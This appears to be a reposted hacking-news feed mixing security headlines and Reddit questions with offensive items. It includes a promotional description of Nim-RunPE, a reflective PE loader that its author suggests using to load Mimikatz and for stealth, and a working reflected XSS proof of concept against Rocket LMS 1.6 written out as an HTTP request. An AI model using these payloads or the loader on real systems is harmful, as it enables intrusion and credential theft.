Hacking on Medium
Hackers Demonstrate the Ability to Unlock a Tesla Model Y

https://cdn-images-1.medium.com/max/2600/1*KZGWJudeZ4EZ7qjmM1OW9g.png
A new hack has demonstrated the possibility for a Tesla Model Y to be unlocked and started in under a minute by replicating a keycard from…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Nim-RunPE : A Nim Implementation Of Reflective PE-Loading From Memory

Nim-RunPE , is a Nim implementation of reflective PE-Loading from memory. The base for this code was taken from RunPE-In-Memory – which I ported to Nim.

You’ll need to install the following dependencies:

nimble install ptr_math winim

I did test this with Nim Version 1.6.2 only, so use that version for testing or I cannot guarantee no errors when using another version.

Compile

If you want to pass arguments on runtime or don’t want to pass arguments at all compile via:

nim c NimRunPE.nim

If you want to hardcode custom arguments modify const exeArgsto your needs and compile with:

nim c -d:args NimRunPE.nim– this was contributed by @glynx, thanks

More Information

The technique itself it pretty old, but I didn’t find a Nim implementation yet. So this has changed now. https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZP1bKpmhyBWpqCcgK2mHuaBGMcQRN4GCSSfjwzk4O0flEpJiIuzV02pMFvkPB9Q6nzFU7FHs3C4HVDiu2d619WLtB2dwuxkShroq5eI0ApQVhI_meWQ6d-c5YreDeRmC1Sl2O3nZ6t7ZyjNc7k2R6WOv4S0qshqLtmzlWHiLTA14_kN22orZgzFW4/s1306/54.png
If you plan to load e.g. Mimikatz with this technique – make sure to compile a version from source on your own, as the release binaries don’t accept arguments after being loaded reflectively by this loader. Why? I really don’t know it’s strange but a fact. If you compile on your own it will still work:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQKl-WRaOXWh_yfpdJXZKtWVJyfvL6ZiWZMHIrAbv2Do6RVItdK5bXr3-LhXzhRa0fkkJ2z52AlNZuHIs_4cgm4sjm9_BePF7q5Q4kDbmMZ67D6N55IACGI5n9w7epivLdX3-e3tddc7VOa39Tkrv76MxCeItROYtx8ROMMOCh7_72gZHppQrqEvxO/s1493/78.png
My private Packer is also weaponized with this technique – but all Win32 functions are replaced with Syscalls there. That makes the technique stealthier.
Download

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Lorenz Ransomware Goes After SMBs via Mitel VoIP Phone Systems

The ransomware gang has been seen exploiting a Mitel RCE flaw discovered in VoIP devices in April (and patched in July) to perform double-extortion attacks.

Dark Reading: Attacks/Breaches
Business Security Starts With Identity

How identity-centric security can support business objectives.

Dark Reading: Attacks/Breaches
Attackers Can Compromise Most Cloud Data in Just 3 Steps

An analysis of cloud services finds that known vulnerabilities typically open the door for attackers, while insecure cloud architectures allow them to gain access to the crown jewels.

Dark Reading: Attacks/Breaches
Gartner Survey Shows 75% of Organizations Are Pursuing Security Vendor Consolidation in 2022

.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Ohio Raises a Volunteer Army to Fight Election Hacking

https://external-preview.redd.it/FH3t4REaOfvjldMSvVbJsx-uR68paDwA_NhG0vO9GbY.jpg?width=640&crop=smart&auto=webp&s=153376ecdff258352a8ae81be038e03ff099c52b submitted by /u/Straganaugth
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Understanding Sn1per

I have been using Sn1per to test websites. I understand that it's not really a tool in itself but a collection of tools that run in an automated fashion. I should probably learn each tool individually as well.

If Sn1per finds an exploit that it has a module for will it automatically open up a Meterpreter session? Also, are there any other good programs like Sn1per?

submitted by /u/z0mbiechris
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Now that Mandiant is owned by Google, who is the biggest pure play cybersecurity consulting services firm?

The only other pure play cybersecurity consulting services firm that has as high a profile seems to be Dragos - anybody have other ones?

submitted by /u/AJGrayTay
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do you all continue to learn and advance your knowledge about the cybersecurity?

I just passed my oscp and am looking to start diving into a little more depth. How do you all continue to study or what do you all use as resources other than hackthebox or TryHackMe or PG? I have bought a couple books to go through, but wanted to hear what you all use.

submitted by /u/_ghostman_
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Rocket LMS 1.6 Cross Site Scripting

https://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png
Rocket LMS version 1.6 suffers from a cross site scripting vulnerability.

SHA-256 | 21a150d6f7bd763c17a361b4b333dd7a6dff2269a57ce56b55a37a298f1c638f

Download
# Exploit Title: Rocket LMS - Learning Management System Reflected Cross Site Scripting
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/rocket-lms-learning-management-academy-script/33120735
# Version: Version 1.6
# Tested on Ubuntu 18.04
-------Request-----------
GET /search?search=%3Cbody%2Fbody%2Fbody%2FOn%2FOnLoAd%3Dconsole.log%281%29%3E%3C%21-- HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
sec-ch-ua-platform: "Linux"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: empty
Referer: http://localhost/search?search=%3Cbody%2Fbody%2Fbody%2FOn%2FOnLoAd%3Dconsole.log%281%29%3E%3C%21--
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: allow=1; XSRF-TOKEN=eyJpdiI6ImN0MTZwSkxBTEF0VGVtTmo4cmdxSUE9PSIsInZhbHVlIjoidlEvSDRITWdRaXpXU0Q1amE1cSsxTUNZc0lSVHdRWVVxaUp1cURrM3JQSGNTTTQxRUVjSWdGbUtPZVBWV3FiRk5yU3VHNzBZTU4rNDA1VDlsS1BHdC9FRExpbjdhakhDUk56d1l1VGxlSjdFSWVuR2ZQZXBDamt1MVVkdHBRTUsiLCJtYWMiOiJhOTY5YzU2MzE3NmRjMWM0NzBkNmVlNWI1NmU5MjExZGRhZGU2NzYwY2Y5M2FmNzI5YjViMTRmNjI5Y2E0NjdiIn0%3D; rocketlms_session=eyJpdiI6Im9YRVkvTVYyQkZqNkVKR05xK3VVVGc9PSIsInZhbHVlIjoiS1plaFpXSVVJVGdiSE9vK3MxbTk2S3FSMmx6T1dnSGduZ3RZZERlc28xbmRrSWpuSStpMml0L2hkdFdXS3NmWnhHdlV1MXNicUI5Q2ErR1cwODdkYXFEbnd6WlVTZVlCbEZOZVg0VjJrc2J0ZFNVMzd6TW8rVHE5QXlkdEpmS1UiLCJtYWMiOiJhMDBiNjhmNTA1ZDM3ODMzNGQ2MDA4YTA5Nzk0ZDlhMTM5NjM1OWEwNGZmOTViNmU2MGE2YmQ2NWQwMGUzYWMwIn0%3D
Connection: close


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Rocket LMS 1.6 Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
TIBCO JasperReports Server 8.0.2 Community Edition Code Execution

___________________________
@hacking_Attack
@Hacking_Video